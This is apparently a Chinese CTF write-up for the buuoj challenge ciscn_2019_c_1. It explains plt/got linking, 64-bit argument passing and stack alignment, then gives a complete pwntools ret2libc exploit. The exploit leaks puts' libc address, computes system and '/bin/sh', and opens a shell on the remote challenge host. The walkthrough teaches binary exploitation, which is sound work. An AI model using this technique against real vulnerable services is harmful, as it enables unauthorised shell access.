目前还都是栈题,以后看情况更一更堆题。
文中所用到的技术 仅用于 逆向技术的学习与交流。请勿用于一切形式的非法用途。
以 buuoj 上的 ciscn_2019_c_1 为例,分析过程如下。
首先在 Linux 终端查看版本情况。然后开 IDA 看是不是存在敏感操作。
那么,单由这张图提示,可以知道:
- 存在栈溢出;
- 地址无随机化;
- 堆栈禁止执行;
- 可部分重写 got 表;
- 程序是 $64$ 位且端序为小端。
在 $64$ 位的 IDA 中使用 Shift + F12 快速浏览字符串区域。结果没有发现调用 shell 的 /bin/sh
。
点开主程序以及可能存在漏洞的其它程序查看是不是对调用过程加了密。结果没有。
对输入函数改了名。
scanf
在某些时候(比如写入过长的数据)也是能被利用在攻击上的。
其中作为 prompt 的 begin
函数中的内容是
这也就意味着,系统调用得到动态链接库里找了。
以 Linux 的 系统调用 (如 read(), write(), strcmp()
等)为例,这类函数在被调用时需要寻找其所在内存的位置。
而由于在时钟频率上 CPU 与 内存的显著差异,操作系统通常使用动态链接的方法来提高程序运行的效率。这个过程常常通过 plt 与 got 表形成两次地址跳转来完成。
简要来讲——
- 初次调用这一系统调用时,计算机会跳转到系统调用所在 plt 的位置;
- plt 上的指令往往是形如
0x4006e0 <puts@plt>: jmp QWORD PTR [rip+0x20193a] # 0x602020 <puts@got.plt> 不管是否时第一次完全跳转到其 got 表。
0x4006e6 <puts@plt+6>: push 0x1 # 将该系统调用在 got 表中的下标压入栈
0x4006eb <puts@plt+11>: jmp 0x4006c0 # 准备跳转到 plt[0] 进入动态链接器,将实际地址写入 got 表。
- 跳转到其 got 表后,如果是第一次跳转,则 got 表上的内容指向可跳转到 plt 表中执行了第一个跳转指令的下一条指令,即执行压栈操作,准备通过压栈后的跳转指令进入动态链接器中重定向实际地址。
- 否则直接返回函数的实际地址。
题目如果出得再难一点,就会到 Linux 内核的
dl_runtime_resolve
这一函数来考察动态链接~而这又要下一番苦功。
了解了以上这些内容,就可以开始考虑如何利用发现的漏洞来爆破出 flag。
我们可以通过 puts
的 plt 与 got 表中的值来泄漏出动态链接库对这个程序中所有系统调用的偏移量。
具体来讲,我们需要调用 puts
函数将自身的实际地址输出。并且还要回到 main
函数中,能够让我们用上 shell。
第二个要求很简单,只要在做完输出以后将 main
函数作为返回地址即可。关键在于第一个要求如何构造。
$32$ 位程序传参很简单,直接到靠近返回地址的上一个,上两个,上三个等内存格中找。
而 $64$ 位则是通过寄存器间接寻址来完成传参的。
顺序是 rdi, rsi, rdx, rcx, r8, r9
再到等同于 $32$ 位程序时的“贴近”做法。也就是说,需要把 $6$ 个寄存器用掉才轮到在内存中的栈存储多出来的参数。
同时,pop [register]
指令会将栈顶弹出,并取被弹出的栈顶值作为新值。
利用上述关系,我们可以做这样的事情:
- 利用
pop rdi
的地址,使指令计数器跳转到该条指令所在位置,让计算机调用pop rdi
弹出 puts_got 的地址并向rdi
压入这一个值; - 再调用
puts
函数输出其自身的实际地址。
当然,这样做是不太精确的。最好是使用
Ropgadget
来确定使用哪个出栈指令决定参数的传递。
具体而言,使用ROPgadget --binary [target-name] --only "pop|ret"
来导出可以修改函数参数的地址。如下图所示。
而上面讲述的流程建立在编码(encrypt
)函数执行完返回(ret
)指令后下面表格所显示的情况。
内存格 / 栈帧情况 | |
---|---|
$\mathsf\{main_\{addr\}\}$ | |
$\mathsf\{puts_\{plt\}\}$ | |
$\mathsf\{rsp\} \to$ | $\mathsf\{puts_\{got\}\}$ |
$\mathsf\{return_\{addr\}\}$ |
此时指令计数器指向 pop rdi
指令。执行后 rdi
被赋值为 puts_got
,即 puts
的实际地址的地址。且 rsp
上移一格。
读者可以通过 这一网页 了解函数在执行完返回(
ret
)指令之后的情况。
同时为了避免地址被错误地加密,我们完全有必要利用 \0
来阻断 gets
的读取。
到此综合起来,得到
elf = ELF('./ciscn_2019_c_1') # 将程序下载到本地从而得到 plt 和 got
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400B28 # IDA 中看出地址
payload0 = b'a' * 0x57 + b'\0'
pop_rdi = 0x400C83 # 照着 ropgadget 写就完事了
payload1 = payload0 # 覆盖到旧的 rbp 为止
payload1 += p64(pop_rdi) # 返回到 pop rdi 指令
payload1 += p64(puts_got) # 获取到 puts 的实际地址并通过 pop rdi 指令弹出且使得 rdi 的值变为 puts_got
payload1 += p64(puts_plt) # 调用 puts 并使得 puts_got 指向的值能被输出
payload1 += p64(main_addr) # 为了后续能用上获取到的系统调用
peter.sendlineafter('Input your choice!\n', '1')
peter.sendlineafter('Input your Plaintext to be encrypted\n', payload1)
peter.recvline()
peter.recvline()
# 经验或者调试出的真实地址
puts_addr = u64(peter.recvuntil('\n')[: -1].ljust(8,b'\0'))
libc = LibcSearcher('puts', puts_addr) # 使用了 LibcSearcher 库
offset = puts_addr - libc.dump('puts') # 关键的三句话
system_addr = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump('str_bin_sh')
再通过重新利用漏洞来获取终端。
还需要注意的一点是,由于 Ubuntu 18 通过 movaps
这一传送指令 要求 调用 system
时需要做好 $16$ 个字节,也即 0x10
的对齐1,而在我们重新准备用 payload0
覆盖栈帧时,只做了 0x58
个字节,下一步若是直接填pop_rdi
,bin_sh
的地址会使得 system
的位置处在 0x68
处,进而导致 调用失败。
所以为了正确性,我们只需要额外填入一个 ret
指令即可。在此我选择 main
函数中的 ret
指令。
导入正确的程序后,在 IDA 中的此界面按 空格键 切换回流程图界面。
然后依次填入pop_rdi
,bin_sh
的值 system
的实际地址,就能保证我们的预期能够正常执行。
那么到这里可以得到
from pwn import *
from LibcSearcher import *
context(arch='amd64', endian='little')
# context.log_level = 'debug' # debug 状态设置,但只是登录层次的调试。可以选择关闭。
elf = ELF('./ciscn_2019_c_1')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400B28
peter = remote('node4.buuoj.cn',29334)
payload0 = b'a' * 0x57 + b'\0'
pop_rdi = 0x400C83
payload1 = payload0
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(main_addr)
peter.sendlineafter('Input your choice!\n', '1')
peter.sendlineafter('Input your Plaintext to be encrypted\n', payload1)
peter.recvline()
peter.recvline()
puts_addr = u64(peter.recvuntil('\n')[: -1].ljust(8, b'\0'))
libc = LibcSearcher('puts', puts_addr)
offset = puts_addr - libc.dump('puts')
system_addr = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump('str_bin_sh')
peter.sendlineafter('Input your choice!\n', '1')
payload2 = payload0
ret_addr = 0x400C1C
payload2 += p64(ret_addr)
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
peter.sendlineafter('Input your Plaintext to be encrypted\n', payload2)
peter.interactive()
最后得到
版本的选择依据能跑与否。如果确定程序是完全没有问题的,但就是跑不出来,换就对了。
$\mathsf{flag\{1c3be258-8069-44b6-bc3e-ae1f26f81ac5\}}$。
总结
这种类型的题往往有一个溢出点,需执行两次劫持。
第一次劫持 输出函数 用于泄漏 libc 的地址,第二次劫持用于通过算出的偏移量获取终端。
这其中,需要注意相关函数的调用要求,如对齐,然后以填入不做操作的返回 ret
来使得功能正确。